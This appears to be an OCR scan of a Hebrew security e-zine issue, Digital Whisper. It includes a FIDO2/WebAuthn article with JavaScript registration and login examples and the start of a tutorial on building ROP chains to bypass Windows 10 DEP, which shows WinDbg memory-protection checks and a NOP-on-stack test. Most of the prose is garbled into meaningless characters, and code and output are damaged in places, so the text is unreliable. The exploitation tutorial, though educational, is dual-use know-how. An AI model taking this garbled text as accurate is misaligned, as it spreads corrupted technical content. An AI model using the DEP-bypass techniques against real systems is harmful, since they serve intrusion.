igital Whisper

HRAO~ ~ X ~MIT X 4 L ¥

Tq4cy s [
SN 17 L4 e
Ly d1 1~ Ao A L4 X x
L 11 1, ~ [ Y R
B N L LA O R 1~ 1, A e T It RS I ] S , L s
Ll x e X R I TS s {4 .
Digital Whisper = 4 € ¥ _ % v 4. x _«s 41, sx 14 s Digital Whisper: ™44 5 ¥ _* s.ixx_ s wol) X ik,
x4 s DX w0 XD = L XX S . X | }—Digij.arWhiSpEI'\‘I"LL‘x ,_s",,-|“\v FEAXT XX s e XXX Xo],SX XSu [IxXx A
Joxoox « . X &S L X x4, T« Lo, s ” q{s =4 ¢y x “ XX s AI.| x X q

editor@digitalwhisper.co.il v ~ 1 X-L & 1« 75 ., s | ] x o xX I | 0 XxXxy! ,



mailto:editor@digitalwhisper.co.il

Technologic

IDigitalWhisper . 147-s = x4 ¢ M « X s 4 ] x . X

ncYnrpn _s -~ locas xMbphe, > ~«~x . X 1 _ HT$" A1, _ IX}s

XX s .4 s

X X s X X , €

P X ., | xs

X

LOX

~

Bles: 1« x40 ys ®208 < H S _FT"x) 5 T X4 Y¥S
s s . x X <s29adlabs 1 _ s XU x v 4% hx o H. ¥
177 Xy tspd ST Xaes psixe]s st X s D X T xS
(: s¢s " 4¢y s | x4l x"xq 4y A
1¢1 s>.s 11 01> v4ox0c1l xA4s s X,
DX L. L e d X dx X x4

Cx o d s T ] B4bite Sk S S,

-PDA P4 1 A 10, AT x0T, x Wihdows2000L | LT Xk kTexs v LS
, 87 Slise s 4 x 1 PocketP@x « L ¥ )L 7 S x T @ x4
vor s X s xTYSynbjan®@S s L ss . o0 kA x4 XX D e A
sT ovs 4T x Ty o X x4 X v 4 x 1, edddGolfings, {1k x ] 5 b o x 1
1.1 19 1. For XY Lo+ X 0w o~ b AT x xS FloXx . xS RS
x X xRy xp w {yxd 0 10 IRC Avesx Lt s 1
*x L oy ox L s s L. Ay x o298 Uabs L, rexd17 ) sl R X ]

¢ . X 0X A" MqsS DX X, 4 X | T s {7 x "y
, ¥ 1 9% Labs 1 ~ * 1 ValleZ, Benny,ZOmbie : x {ViuSBuster , + s v _ + _ S Do L
Xl 1xoox o Tx 4T 0] 4] pls  bxos oIx 4 LY X o,
s X s lx M Ts s Xy X x s o s X0 ] LY X o
yoLdIss by o © 0 T o, s Y x s b1 0x P X v
s 1 sy x x4 0l Y. x0T v 4T Y s DX x o
T, 0 _d_ AT o x s T s T, s s H D ds Do, XX

x X4 Esl O s 40y i FLX ol X, X s q4s X 41
v x4 s oy s b d x4 XS DR N D R T L x
O P U T S S S A S SR S B AN , X 1% v s
XL - xsi0q ¢ x < §Cs I qs . T s X xs 4 pex 4 Lx
F L s T le s Ox

www.DigitalWhisper.co.il
H HAoH « X ~NM1 T~ X 4 LY



https://vxug.fakedoma.in/zines/29a

oL oL, 1T 8T T I
{1 x7” X I x . =] x s { s .
, S 11 « {7 ., X L | x

X i1 . X 4 s X X s
4y . _ _DigitalWhidper ' 1T+« + x {1 ¢ «
X ”

s Xg | X4 ¢y S * x 1L x 7 9

s Iox s 4! L S %Sl KT oX L ¥s XS, ok
b1~ %+« s

XS Ix XTI 4 L ss*splox ]

VXL” \NX-IS |’_~|_-’rSS “”5|.:Xx\. -F X 3 S

X

Technoloqgic

«x X

www.DigitalWhisper.co.il

« S

i
o1
s
s
s
= X
L1

S Sp o Y o sHy X ox A qX
{1 0« s”-|'|><v
oo~ 49 Ts e v 40 x ]
X X g 4 "x 73 x¥ 1" X X 1w X
, S X X o {17« L X« ,
T s s ¢ s¢
bx7s 4« _ s 4 _ 1l
X“ L L _S:xS",,|XXS,:-J L . L,,x
XX L. Is>><s,,[ X, qxvx Lov XL, S X e
HAoH « X ~NM1 T~ X 4 LY

S

w



Technologic

31

53

70

115

123

133

155

. o1 D D D O N N N DX

AL~ s -FID®2]

Developing ROP chains to defeat Windows 10 DEP

.Net Attacks: Breaking OS Boundaries

x . 44 _sx_ XSlack Space

Pingwin - Data Leak Steganography Tool

AppSec Villiage DefCon30~ ¥ - « = X .

N

www.DigitalWhisper.co.il

HAoH « X - NI T~ X 4L

Y

S R
~

X



Technologic

F1 L~ -FID®2T -

X LT LT XS AR X w

X

1

83 Y X xR ox Ly (LiXsxXEY, . X@ X

SIS I

~ ~

FDOZ <« x{si x  , ( xsigs «

v

L A e L AR ITE I BT B PN

FIDIO. X ¥ wX 7 vyl sx %,

A Hxs e e A RS A Y XX T X

bS]

AN

1Ly X

8L o 1T e

md x 1 x <FIDO2. _~

X

brute forcem™ 1 + 81 » 4 7y X140 B 19 x AX KK b 4% 0 H 7 X ¥ xx |

X
>

1", -lBobalike domaing: . URL: X xp )

o AR Y BT T C s kx0T xse o

Fd A Hoelex o © credentialgy - *x L 1A X § 81

X USB: _ YOX | 1 % . 4 ®4x 8 4 CY 4 s d q A

DX

XX X408 KL X e X Y0 b X KU

SRRt L S (SNSRI EHE DR

1

L

S

*

] -

” X

1.

» X

x.

Des, ool Jagind

1 s
1> 41

>LI ~

L _ MFA fatigue * |, « MNATM

X ¥4 xs .

Z“v-|SAZ‘¢Z R

s .

¢ X "‘-XLJS"

Xy xix s 1, X

SX XX A% FHT X

» X8s 4 .«

FDO2 XXX 44 ¥+ 857 v, 0§ L1« XTed -~ K&

~ ~ ~

LA T s 8 SRDOX L Y XN e

SSXXX A XX ST A K HT X s
DX dssOT L x Qs x]x g s xTS4LX x| {s ) FIDO2

]

« Rubyt TypeScriptJava.NET G0 Pythorv: x .~ |
.38 sk I 0 rd " ok 4 x o {7 xslox

~

X s | €sfg ssif . «, 1! |t ,+ 4 850

A sd% XX p 4l AT s g | XS

s .

o T o xbax qesxpe x4 9 sl o gL X

@SON 1 « 1 JavaScript | x " X x|

»

L1

« X . S

s, I 47 , s < X s, <

Forsd 40 %7 x 41644~
CAPIS_ |

$4se U xT A1 T YKL |

* x WebAuthn. _~ * «

~

~

SIS

X«
>

L x %X 1% o s"ix

SLSIX DTS a4l

~

“

~ ~

] s

~

X4 XK poLs B s

G A KX AT X sy

S

~

FIDO2
www.DigitalWhisper.co.il

H JIOH ~ X ~ M1 T

Tx 4oLy

SR LS T B

'i ~


https://www.digitalwhisper.co.il/files/Zines/0x92/DW146-2-FIDO2_Part1.pdf
https://www.digitalwhisper.co.il/files/Zines/0x92/DW146-2-FIDO2_Part1.pdf
https://github.com/duo-labs/py_webauthn
https://github.com/duo-labs/webauthn
https://github.com/passwordless-lib/fido2-net-lib
https://github.com/webauthn4j/webauthn4j
https://github.com/MasterKale/SimpleWebAuthn
https://github.com/cedarcode/webauthn-ruby

Technologic

S % %L s

st 4 TTxs ! Te N A4iex | 5ol T B T IUURE o RN R N N PP AT IR

~~ ~

] {54 X.sixs{**x { 5 I X xslwl_ RO Mo TR S | cHR A (S 1w L X X

~

@41 x + A 1:S§VSJ:V‘F 1.9y x4 4 %7 kx crle X JIsXx x s

~ v

DX 4w 1 webauthnio: X |« S« XX . S s S5 41 x| ki XT X
ci R dL . X" e 400 s X {OCTAPEWebAuthnd L x « x_1xx_s{ _% FIDO2 . x * _

. S o TR0 v S s DX L e X T AT T e X X T T X X ] X

D 1 Hw X 8 . X o o8 0 X o Ipx o X £, X4 x L 7

GUIR @ |~ %01 - 1 L YRegistratiodr x _ HAs s § 11X« .

WebAuthn.io
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WebAut

A demo of the WebAuth

Verify your identity with webauthn.io

Pick an option

tr  External security key or built-in sensor

DW Israel
@:3 Add a new Android phone

Attestation Type Direct

Authenticator Type Crossflatform

Register

Advanced Settings
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Add a new Android phone

To scan this code, you can use a QR scanner app on your phone, or
some camera apps.
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Connect with QR code?
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WebAut

A demo of the WebAuth

Verify your identity with webauthn.io

Pick an option

4r  External security key or built-in sensor

DW Israel
a2, Add a new Android phone
Attestation Type Direct O stion
Authenticator Type Cross pla (" Manage devices ) ( Cancel
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WebAuthn.io

You're logged in!

You just logged in using Web Authentication. Instead of
using a traditional, shared-key password, you used a piece
of secure hardware to create a strong, attested, and scoped
credential that is virtually unphishable! To keep learning
about Web Authentication and the FIDO2 framework, check
out webauthn.quide.
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I want to create a new account. L

‘ Sure! Send me a public key.

All right! Creating a q.\

new keypair.

}:{ Okay, here's the public key! " e

‘ Thanks! Registration complete.
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= O
Authenticator A

1S Client (Browser) Relying Party (Server)

(phone, YubiKey, etc..)

Register request

Challenge: p5aV2uHXrOAOwi-Nyl....

Credential request options: User info, RP info
Relying party 1D: digitalwhisper.co.il

User consent + hash(client
Data) + User info + RP info

I asymmetric key pair
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const publicKeyCredentialCreationOptions {
challenge: Uint8Array. from (
randomStringFromServer, ¢ => c. charCodeAt ( 0)),
rp: {
name: "DW lIsrael" ,
id: "digitalwhisper.co.il"
h
user: {
id: Uint8Array. from (
"UZSL85T9AFC; c => c. charCodeAt ( 0)),
name: "jon@digitalwhisper.guide" ,
displayName: "jon" ,

}

pubKeyCredParams: [
{

alg: 7,
type: “public - key"
}
I,

authenticatorSelection: {
authenticatorAttachment: “cross - platform”
requireResidentKey: false ,
userVerification: "discouraged"

b

timeout: 60000,

attestation: "direct"
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Y x L » favigator.credentials.create0 ! * £ » 11 4 v {credentials

const credential navigator .credentials. create ({
publicKey: publicKeyCredentialCreationOptions
});
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¥ « ¥ss, xs. X grdate(): 1 ‘L“~I" xx\;l x 4 15 % s
navigator .credentials. create ({

publicKey: publicKeyCredentialCreationOptions}). then (( res) => {
var json publicKeyCredentialToJSON (res);

L

post ('/digitalwhisper/register

state:  '<%-= state %>

provider:  '<%= provider %>

res: JSON. stringify  (json)
i

}). catch (console.error);

To _SIxqp ¥ 4+« .. x « | X! Tredential- x navigator.credentials.create(§ ~ . is

©15 91 A d K ke 47 x 40

0% L
s 4 CAn XL x o x sX% x5 o A4S de e 4 . 0¥ 1 0] Geredentialst A2~ ]

e R I R Ut S I I U I N IR S

v . *

x s ¥Ff Ay xoriginre o xrpid t vt vs J L0 s TLS X509 1 x vt w7 1 1S

~ ~ > >

AO X X, i oxxe ] TxX X H LS R X 4 x {18 (D s

clinetDataJsOm® s | | SHA256 hash ' x _ ~ X+« #1171 credte()r ~ 1w x¢ 4~ 1 _ ~ s

~ >

TxoxsqO) T I xpIl L X 4T S K XX X LT S X | el XIs . $ 4 . "G
Bluetooth, x _41x Bahdwidthe © X 4 ¥ x o X XK1« Ty 1 THK x T 19, x

Mo A v b XKly e Xhashit L o X S s S X o s b, ] NRC

P X <
{ TIPPIN: " ©.s_ @ _ DLss ] psys s 0x X4 « vFH T4 L4 0
QGbsturer s 1 X ﬁ‘ssv 1o xs™ 13 X-|~:\,S,\,{ s 1 x " S |oxpxq % N)@‘_H)?‘ .

FIDO2
www.DigitalWhisper.co.il

HAoH « X ~NM1 T~ X 4 LY


https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise
https://www.digitalwhisper.co.il/files/Zines/0x7A/DW122-2-X.509.pdf

T lwx$ 1. 15 isoattestatiomtr 44 . 1T . x {4 X1 4R X g

v > v

Foop X Sxlx9sS 4 | attestationm® w0 1 M v AXHS . X T4 o stsox . O] ] X 8, XX

~

L X _ < » -L1_attestation certificate chaim ¥ ¢ 1x>X* .~ | I"P4 @ {4 1.1 _s

a

rebtof trustrt = _ ~lL 4 _ F s ~ulJRRE 7

n* oL

Lok DoXdex osxqS b x L ] T {6 x 4 X Xcretlential I8 X 16 x 4 LS s

@ttestationObject

P
1« 1 4 * « fAavigator.credentials.create() _ 10X < v * 4 " »®mIs® 4 x | xYipromisat

SO L FFrsxX A ddxxiex X X XX RBEE - X S 1 PublickeyCredential

TA0FEx _ddy o+ d e *m 44,94 sisy {4 S xcedentiall ~ 4 4 % x «

¥ ol xiied 0 "eaxd 4 XX s sl xdl . Tsleax 4 ,0s

const credential navigator .credentials. create ({
publicKey: publicKeyCredentialCreationOptions
»;

console . log (credential);

PublicKeyCredential {
id: 'ADSUIIKQmbgdGtpu4sjseh4cg2TxSvrbcHDTBsv4ANSSX9...'

rawld: ArrayBuffer (59),

response: AuthenticatorAttestationResponse {
clientDataJSON:  ArrayBuffer (121),
attestationObject: ArrayBuffer (306),

h

clientExtensionResults: {},

type: ‘'public -key'

LS, x Hxs {0 pixis s x X x "l 7credentialt « _ IOE0S s ¢ iV

dx _ Hdgis X
T L ST G X sX X X DR ravid

>

®x 44X AWebBAuthn  * x * 1 ., Giswy « 1 4§ X #0- | _ chentExtensionResults

~

cd XX s RPER - 1R | tredentialt L 4 - x X140 s isv L 1 Irééponse
Fdo. X4 7 XY s {clientDataJSON ~ {1 1 X®x «credentiaft 1 _+ 4 " 4 47 ~d 45 | sy

N a

Caw U~ RB®E X, p ! Toredentiatt - <4 4 4 "y o~ S b LS

voov v ~ ~ ~

-« ciedentiatt v _41 ~ X X1 {4 . s:.s-L 1 httestationObject! « {1 {UPFEL _1 _ ~ XL S
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https://w3c.github.io/webauthn/#sctn-extensions

Lo x bl HoAs sX A4 xRl PO~ 7 Battestatiorgg L s x-S

a

10 " % xlientDataJSON ~ 1 L XX ki S ¥ % |_S@GBOR X - + XA .+ "I §

ArrayBufferr s cllentDataJSONattestationObjecOr 1 ~ 1 _L~ M\VebAuthn ARt « _ _ ¥, _is
DX AL XS X RUTFBT L o X L % d S T Y T ISD 4 4 d X

const utf8Decoder TextDecoder( 'utf -8');
const decodedClientData utf8Decoder. decode(
credential.response.clientDataJSON)

const clientDataObj JSONparse (decodedClientData);
console . log (clientDataObj)

{
challenge: "p5aV2uHXrOAOqUK7HQitvi- Ny1...."

origin:  "https://digitalwhisper.guide”
type: “"webauthn.create"

X"k xS
string1 1 _ «* 1 41 _ e@ate()r _S « 1 X . ¥ Xl X 80X X 9. 1*X CMallenge 1

®RRt 1 L {s LS XD AL X xsTe e X Xy ST Y D s

~

1B~ 17448 4 {7d o xodgine © Y « 4 dtring® _~ ! X % S _oMgin

@redentiall ~ L <St” xS "% D vso T 4y 23 mpe
VattestationObject] « 1  X.x «, s3’ w1, x [ X

const decodedAttestationObj CBORdecode(
credential.response.attestationObject);

console . log (decodedAttestationObject);

authData: {
credentialData: {
aaguid: "-iuz3J45QlePkkow0jxBGA==",
credentialld: "X9FrwMfmzj..."
publicKey: {
1. 2,
3. -7,
1

1:
2: "ZsGUleG53MifPb72qgnmEX- OPLO bZiNNow3LUHUY 05"
3: "kuBFf3ZcUc - LAFTPIB8e5DabDt20fJQ3wAB16zHgNUX0="

h
fmt: "FIDO- u2f" |
attStmt: {
alg: 7,
sig: "MEUCIQD1...",
x5¢: [
"MIICVDCCA..."
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https://w3c.github.io/webauthn/#dom-authenticatorattestationresponse-attestationobject
https://cbor.io/
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer
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@ clientData]SON,
attestationObject

challenge,
PublicKeyCredentialCreationOptions user info, @
relying party info

RP JavaScript Application
WebAuthnAPl —==__== ==
Browser

relying party id,

uszer info, @
relying party info,

chentDataHash

new public key,
credential id,
attestation

Authenticator

user verification,
new keypair,
attestation

&

AuthenticatorAttestationResponse

ttestationObject
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[ want to sign in. 0

Please sign this data

so I really know it's -
‘ . 2t

you.

Creating a signature

with the private Q .
key...

5. o Okay, here's the
"~ signature.

Verifying the
signature with the q x.Q/v

public key...

‘ Great! This checks out. You can
sign in.
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Authentication Ceremony

P @
CTAP2 WebAuthn ——

- [ =]
Authenticator A

(phone, YubiKey, etc..) 15 Client (Browser) Relying Party (Server)

Login request

Challenge: p5aV2uHXrOAOwiI-Nyl....

Credential request options
Relying party ID: digitalwhisper.co.il

! Verify Request params
! &
Create consent request

User consent + RPid i and retrieve credentials

hash{client Data} T T T T T T 1

Assertion signed with
private key, signed
challenge, counter

Assertion: Signed challenge, credential 1D, signature, counter
origin: http://digitalwhisper.co.il

]
Verify signature e ]
Verify challenge |1
Verify counter
save new counter |

o M oA X wss e d s s 0 _Fowt Lol X LX< s s xSl xo o0X

= ¢ 5 L ~ . >
P | x o X%

Y1* L

F SX @ss X s 1 o XL XXX {1 P, S S X X $ v X ) L’)]Ixs“ZL”SJx
~1 e > ~ L ~ v >
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~

Yn* L
T¢ <« 838t - 7 1 x«x © % d ¢ PublitKeyCredentialRequestOptians_ instances ” RAt
HITPS *LY REST X dusxplX{s ¥ « 1 7 ss & 0% 1, x X8 xsyxy x |

credentials. s _ 1 . 4 4 _ allowCredential$ ' : « Ghallenge . 1 1+ 1 1 *® SGAP
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YublicKeyCredentialRequestOptiohss 1 4 * X fuS; 1 - |

const publicKkeyCredentialRequestOptions {
challenge: Uint8Array. from (
randomsStringFromServer, ¢ => c. charCodeAt ( 0)),
allowCredentials: [{
id: Uint8Array. from (
credentialld, ¢ => c. charCodeAt ( 0)),
type: ‘'public -key',
transports: [ ‘'ush'

A
timeout: 60000,

@ x . 4143 :S.Y V|_v|xx‘“”s xxm >,<,i<;§x | >:>s:,,\|2|g| Lx L

>

ssl g gl s s, xs 48, §s 4l x4 . Xk _ | . aNowCredentials

>

x

X LT A EXA 3 UD T oy ™ A AesSY . X tredentialldt Td X .«

& _ x xss, x X x x|, dranportd ~

¥ « *ss, xs. X, fPublickeyCredentialRequestOptiohs: 1 + * % » 1% *sX ¥ % | §

~ _ Uint8Array+ s !0 Md, challengé+ 41 1 ~ « ™ 4+ 1 s .. \WebAuthn ARt « _ _ ¥ s
L X Base64l _ ~ % 1%« X0 <"1 A J - AWayBuffert v X <1 " - . % Offsetr 41 ¥ 44 _

@ X 5 X 4T A TS & X LTI X X T DB S (40 f s X TS{AT 4 X ]

~

{
"publicKey" :{
"allowCredentials" 0

"id" o "X9FrwMfmzj..."
"type" : "public -key",
"transports" :[ "usb", "ble" , "nfc" ],
] }
"challenge” : "kYhXBWXOHO5GstIS02yPJVhiZ0jZLH7PpC4tzJt ZcA=",
"rpld" : “digitalwhisper.co.il" ,
"timeout" : 60000,
"userVerification" . "discouraged"

@A P A Lo L s x| § X L]

) {hat
* L _»*. xctedentialt - -~ ¢ 1 x § | X payigator.credentials.getfy + ~ XJavaScriptlientrt
1«1 1>hash, « X5 'orgime ¢+ ~ X lrpidie 4 4 1 xTx 1 skpsq Iy 1 x  { .S
@uthenticatorGetAssertionr | X 1+ . ¥ «cKentData

const credential navigator .credentials. get ({

publicKey: publicKeyCredentialRequestOptions

D;
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https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer
https://stackoverflow.com/questions/42416783/where-to-use-arraybuffer-vs-typed-array-in-javascript

¥ « *ss, xsoXoget()r 14 e foxxgloxo

> v

navigator .credentials. get ({
publicKey: publicKeyCredentialRequestOptions}). then ((res) => {
var json publickeyCredentialTo.JSON (res);

post ('/digitalwhisper/authenticate' A
state: '<%= state %>'

provider:  '<%= provider %>'
res: JSON. stringify  (json)
i
}. catch (err =>{
alert ('Invalid FIDO device' );

};

Yv* L
I OclinetDataJsom® s ! | SHA256 hasimt ! * _ v *« yd T et ~ 1w 1~ 1_ .~ s

~ >

TXoxs] T I XIS L XD 4T B OIX X X J s 8 X B AT XIS L § {7
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e A4 b xIyed *hasht e o x CJds S X« s 5.« ] NRC
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o X 4 v IS L SX XX, X X1 SS ] " S|l L S,ixs o § . o X d <o X .
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PR A A g dss T X XX DK 4 X, X x{" . s

Yi*oL
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s 7 X x5 * publickeyCredentidl ~ 1 4 *¥.x + ¢ dissertiont 1 « 1 182X «. ¢ § [ s x | X

QublickeyObjeat s ! : « 1 L slgfatures ! : 1 « « %

const assertion navigator .credentials. get ({
publicKey: publicKeyCredentialRequestOptions

D

1«41 * « #havigator.credentials.get(L _ 10* ~I1« * 4 7 xIs® 1 x | xgj promisat
148X 4RBt L +» ¢ 1 xAuthenticatorAssertionResponse~. 1 4+ _ PublicKkeyCredential

Zq;v-|\s
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¥ « *ss, x,.I*yassertiont « 4 1% X «
console . log (assertion);

PublicKeyCredential {
id: 'ADSUIIKQmbqdGtpu4sjseh4cg2TxSvrbcHDTBsvANSSX9..."
rawld: ArrayBuffer (59),
response: AuthenticatorAssertionResponse {
authenticatorData: ArrayBuffer (191),
clientDataJSON:  ArrayBuffer (118),
signature:  ArrayBuffer (70),
userHandle: ArrayBuffer (10),
b
type: 'public -key'

Y osx 7 4] x ] s
x A dgdss * - dathDatas | | s _ xaMthenticatorData
lLs % Xoyserid® ¢ <Y « A4 X Aslpd4 L7 x T o xxxs &s 1 y¥erHandle
& .. X ¢ _ assertiont i v~ _ !X 0 S 4@ . s s
T authenticatorDatat _r 1 1« 4 1 X x4 ¢ X x Q] [ xoxqlx, {78 >*s{1*
1® .. 4  tliéntDataJSON

¥ Y authenticatorDatal « 1 4 * X «

N

"authData" : {

"flags" :{
"AT": false ,
"ED": false ,
"UP": true ,
"UV": false

h
"rpldHash" : "xGzvgqObVGR3WRO0OAiwh1nsPmOuy085RM@paZJdA7c=",

"signatureCounter" : 8

[

Ttcounters | s> 4 ‘oTusgat(re - oo X, ! 1 4 | hyte arrayr s: A" xaMthiData

@p.idit L _hash

r 1 oYl flags
attested credential _ ! 4 4 *x s+ p s ¥ o AT Y
rsYy « ED Y
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x * 7, s X

7
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X xR X X s Dloxs foy v DT PRPAX, X Q44 XX L os 8ok

o osxlos O IT e fles oo X s 4 T - X {counterr
T2, % o di ~e X 2 X s s s F 1T s d L, xS S0 x
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YlientDataJSON « 1 4 * X «
{

"challenge” : "kYhXBWXOHO5GstIS02yPJVhiZ0jZLH7PpC4tzJt ZcA",

"origin” : “https://digitalwhisper.co.il" ,
"type" : "webauthn.get"

@, oS X ¥ XS T 44, xUSRBABYl L2yl dd 44X xs

a

X L

\1I,_-|As~“><|_><-|~":xxl .S i SE(V'ILS*LXNSXXN::LSXI-“A

~ ~ ~ ~ ~

~

FX A LT TR S L x T s % HILE .« s 1R g

" ST 2y ox IxsisX v 49 fpx D3y i ddx ]l oqx

@, .xss g {-RPIRI. X _ AT

v

Y . Lo s %4, x[Xs ] S 4 v 17 L Xaaxxql.s
' Relying Parh Server @ erver validation

clientDataJSON,
PublicKeyCredentialRequestOptions challenge @ @au[he:ncatcha:a. AuthenticatorAssertionResponse
signature

RP JavaScript Application

WebAuthnAPI —>»

Browser

relying party 1d, @ @ authenticatorData
clientDataHash signature

Authenticator :

user verification,

create assertion

WWV3C WebAuthn Athentication Flow Figuoee x 8 _
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s Iexds P D4 DX s s xsX oy {0 P g s 1 X s L X X, X

X oL AT dE e xss 1T X s _dexxs 4 S« x {47 TRDOT X Y . -

¥ .« Xss” x Lo

FIDO Authenticator Certification Examples
[= -]
@ USB U2F Token built on a CC-certified Secure Element Certification: L3+

==l USB U2F Token built on a basic
@ simple CPU, OS, is certified. Good

physical anti-tampering enclosure

UAF implemented as a TA running on
a certified TEE with POP memory

UAF implemented as a TA in an uncertified TEE

UAF in downloadable app using white box crypto and other techniques
Certification: L1+

Downloaded app FIDO2 making use of =1 FIDO2 built into a
@ making use of ? the Android keystore. downloadable web
Touch ID on iOS Keystore is not certified < / > browser app
= Certification: L1 Certification: L1 Certification: L1

[https://fidoalliance.org/certification/authenticator-certification-levels : ~ x « _ ]

Y x 7w Js*XLmw

X § L XP x4 4s w5 s .. I FIDOZ " A4 _ i xd{Squd |

ISy <7 ST LSX w v [ Xaqd sy = « 1 x4 100G X L 41¥9%x ., XIXx s | ¢ s s
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bl XR XX S TSP XD X L, 8 LI 4§ ]I s
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trustzong® + ~ 8 4 4 s L XX p4s T 1 sop ko {x f sxxJfx

X € Juixss "y 58 |, IXx 4 XX UM X" XL, s "y $s 0¥ k., x40

v ~ ~ > ~ ~

LS 4d10° 4 s ™yss sy ¥ T X x (@ s XTI ox X

~ ~ o

S
T s 1] S s x . x ¥

x 10 .8 Dk st x L % v sTousted applicatiomTAY - _ X + X 14 4. filH

1 1 *uécertifiedtrusted execution environmegt *x s I § s s, < x . 94 4§ ¥ 9, X

.
> ~

DX L XX 4 1S XX s {fXs,xs " ¥s,

s . e s-|-|AC‘sLV~; q Cs-|”1 IS X,_Vys R % " ~xs-|s><x Y s syo 1

~ a

X » o r 47 Anti famperingd " x £ ¥:"x s {0 s¢ T ) o® o, 4 ¥ XX x{¢

CHPE RN ITE N e BN S T R
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SZ~“0§X5|‘]5$LK . Ls:xsl?§82\VL'|-|¢|ESV'|-|X;VS,,>1LX q

~ ~ ~ ~ v~ ~ ~

s . _ * Awthentication applicationd * s 41 ¢ s x 444 . . ¥si {-Rincodex ~ { .~ 1 _ x { *

DA AL H S KEs XISt ¥ XIHL _ A% e AUSKL3) X ud] ¥ xss o |

Gliént browseb™ | ! il 4 L L%k H X dolked AFIDOZ | xIXxCs 1oSs 4% o

~ X 8 . Muthenticato: x s | §f s s Relaying Party servars 1 @ x4.741 X" 4.

r X 41, X B 4 FDOZ X 7 xS, T X .
FodT o, INXIAST JRHDO2 4 4 Y X x ] % ] e NS 0 A s o 4 ]

Tkl pxLx s | FIDQ2L X « X 14X1.7 X% u baSx s\Webauthni X « X {px4.],_*x
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Y I, J/FIDO | | x> s 1s XX LW X T, s x {0 X

uc
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for Safarion Samsung Opera Mini Opera for Android  Firefox for QQ Baidu KaioS
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= Not sl
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1 Istack® v S v 4 . A, x*s {4 L7 x buffer overflow: | L ¥ I ¢ * 4 Tw i~ X

LS~ 4= X " X D xd, sd oL o xDIXss, s 0o XX T DA 4 T 0 L

J « 1 ¢ iwindbgtx86 Assembif s 1 1 L2 XJdF  ss xp +7" x g d) 8, s

”

DD LAl Poy 4 x> d L, * Al ks buffer overflow: | Lox H o v X

shellcode 4 7 k ¥k &s o {1, s{0L,.¢% isstruction pointers @ «+ ¥/ Dreturn address

~

idaedware DER | 14 4 & « ODEPl x 1 439« « Jdll kSO « X T8 X#SY _

L DX .l 48 XSO, ls " xs 48, Yo 1{{@lata execution preventiom -~ X ODBEP,L X | ¥ X

hdam x 4!  BAEKSERI 14X Sx sS4 x o

ST AL, XX

Nonti = _ XpageL . 1 *Instduction Pointers s | { pBige table* * _ *x NX bit* ! * | s
@17 1aKStf O2RS . + u s f3ladress violation -~ ¢ TEXecutable

” X

DX AL A8 59t s, U ssihl B X ok AT T d T
ad O F xI" 1 1 shellcoder « € 1 ¥4 . &eturn OrientedProgramming. _ -~ X RQP. )
I BLIESE @A &AS JuxTs, A8 HWARYREHFESY s {v] .50 " %5

®XIas . 5 X AV 7

~
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DEP

s 4., X w A

oA Xse X LexX s L ODEP

. Optln: DEP is enabled for system processes and custom-defined applications only.
. OptOut: DEP is enabled for everything except specifically exempt applications.

. AlwaysOn: DEP is permanently enabled.

+  AlwaysOff: DEP is permanently disabled.

ttps://docs.microsoft.com/erus/windows/win32/memory/dataexecutiorpreventiors

Windows XP0Oboot.ink* NoExecute 1 «  AXledy 4 % Ise *x o 1~y "7 047
~ disabledx enabled: x {LsxDEP_ +~ x7s4 {1"* {&b. _\Windows Vista Ubcdedit.exex -
ntdll.dll-* LdrpCheckNxCompatibility 1 s ¢ feature-s * «: _ s 7 4 1. $° S99 L s :
LD . X4FXL suixs¥enabled X 454 DEPE « S X XA LIX (4 XX 4 s

L _r 1% « x ¢ ablopatibiliy issues 1 1 I's_fedtures0 + «®: sN¥SetinformationProcess

Windows~ x ¥ x @ptin+ 1 windows 10x _ windows client: x | . . | 1 -s 4 DEP
®© 1 Optindi 147 _ « ABvaysOn 115! 1 : 5 1 Sefver editions

s L x DEP

memory protectionss © «¥ { .4slyprots I x « * windbg. attachs _  rotepad, 1 ~ ”

>v

pages 1 9 « .~ ftdl.dllL. _code sectiors L ~ 1 *eipx 1 _ 7 x0@ig™ @ « ¢ 1% % 1 ]|s

N R T B

0:606> lvprot eip
BaseAddress: 77901060
AllocationBase: 77870000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00087000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE

T A B R N
0:006> !vprot esp
BaseAddress: 0101f000
AllocationBase: 00fe0000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
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T 1x 4 ¥ 1M { sPEheadep - «x " . x X, parlyr _ ’extensionr™ |

~§|JX"

:‘|”\."|_'Ix9(“

0:006> .load narly

0:006> !nmod

01030000 0106f000 notepad /SafeSEH ON /GS *ASLR *DEP C:\Windows\system32\notepad.exe

eip™ + 1 _*74x” _ iGgheps | * 0 dummy shellcodg* x ‘DEP. _s L X
¥ . X DEP flacceswiolation« ~ ¢ d&p. {1 ~

Dasd 1 _dsiL]

LS.

0:006> ed esp 90909090
0:006> r eip = esp
0:006> r

eip=0101f7c8 esp=0101f7c8 ebp=0101f7f4 iopl=0

(1d60.120c)* Access violation - code coeeeEEES (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eip=0101f7c8 esp=0101f7c8 ebp=0101f7f4 iopl=0

D11 E£T~0 an non

eax=002d6000 ebx=00000000 ecx=T77939bcO edx=01008802 esi=77939bcO® edi=7793%bco
nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
8101f7c8 90 nop
0:006> p

eax=002d6000 ebx=00000000 ecx=T7939bcd edx=01008802 esi=7793%bcO edi=7793%bco
nv up ei pl zr na pe nc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=00060 efl=00010246

Return Oriented Programming

A T R B B O R I S Ik IR B B SPUR IR ANIE -, o]~ S S I

~ A

L.ty o bX s sk s p 4o Iodowed cod®” | x i X Hx s PN 44w s
co A LS I T 0 ass T s 30 S A ShhTH H T L H KX xox .
X Xe L, X5 ooxqretX - 44tk B R 1. X T bx s 4 s €

gddget ~» % "iieg 444 X 1w lrab

< v

